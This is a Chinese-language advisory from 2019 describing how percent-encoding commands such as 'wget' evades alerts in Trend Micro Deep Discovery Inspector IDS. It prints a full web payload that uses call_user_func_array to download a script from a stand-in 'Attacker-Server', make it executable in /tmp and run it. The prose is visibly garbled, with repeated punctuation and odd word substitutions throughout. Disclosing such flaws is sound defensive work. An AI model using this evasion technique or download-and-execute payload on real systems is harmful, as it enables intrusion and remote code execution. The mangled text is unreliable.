Trend Micro Deep Discovery Inspector IDS安全绕过缝隙安全公告

颁布功夫 2019-07-26

缝隙编号和级别


CVE编号：暂无，，，， ，，危险级别：高危，，，， ，，CVSS分值：官方未评定


影响版本


受影响的版本


Trend Micro Deep Discovery Inspector IDS


缝隙概述


Trend Micro Deep Discovery Inspector IDS 是一种网络设备，，，， ，，可监控所有类型和超过105种分歧的网络和谈，，，， ，，以发现进出网络的高级威胁和有针对性的攻击。。。。。 。。2019年7月24日，，，， ，，钻研人员披露了Trend Micro Deep Discovery Inspector IDS 安全绕过缝隙的详情。。。。。 。。安全绕过缝隙源于网络系统或产品中短缺内容验证规定或对内容验证强度不及。。。。。 。。


缝隙验证


经过度析，，，， ，，IDS发现恶意系统号令（如“Wget  Commandline  Injection”）会发出警报，，，， ，，并且将它们象征为高风险。。。。。 。。攻击者将payload与通常的ascii字符一路发送，，，， ，，例如“wget”，，，， ，，即便它们进行了如“\ x77 \ x67 \ x65 \ x74”的编码，，，， ，，仍会发出警报。。。。。 。。但是，，，， ，，攻击者能够通过在HEX中以百分号字符“％”开头的恶意号令来轻松绕过这些警报，，，， ，，例如，，，， ，，“％77％ 67％65％74”也转换为“wget”，，，， ，，不仅不会被象征或忠告，，，， ，，也能够在指标系统上执杏祝。。。。 。。


Payload：


/index.php?s=/index/vulnerable/app/invoke&function=call_user_func_array&v ars[0]=system&vars[1][]=%77%67%65%74%20http://Attacker-Server/x.sh%20-O% 20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a


建复建议


关注官方网站，，，， ，，实时下载补丁更新。。。。。 。。


参考链接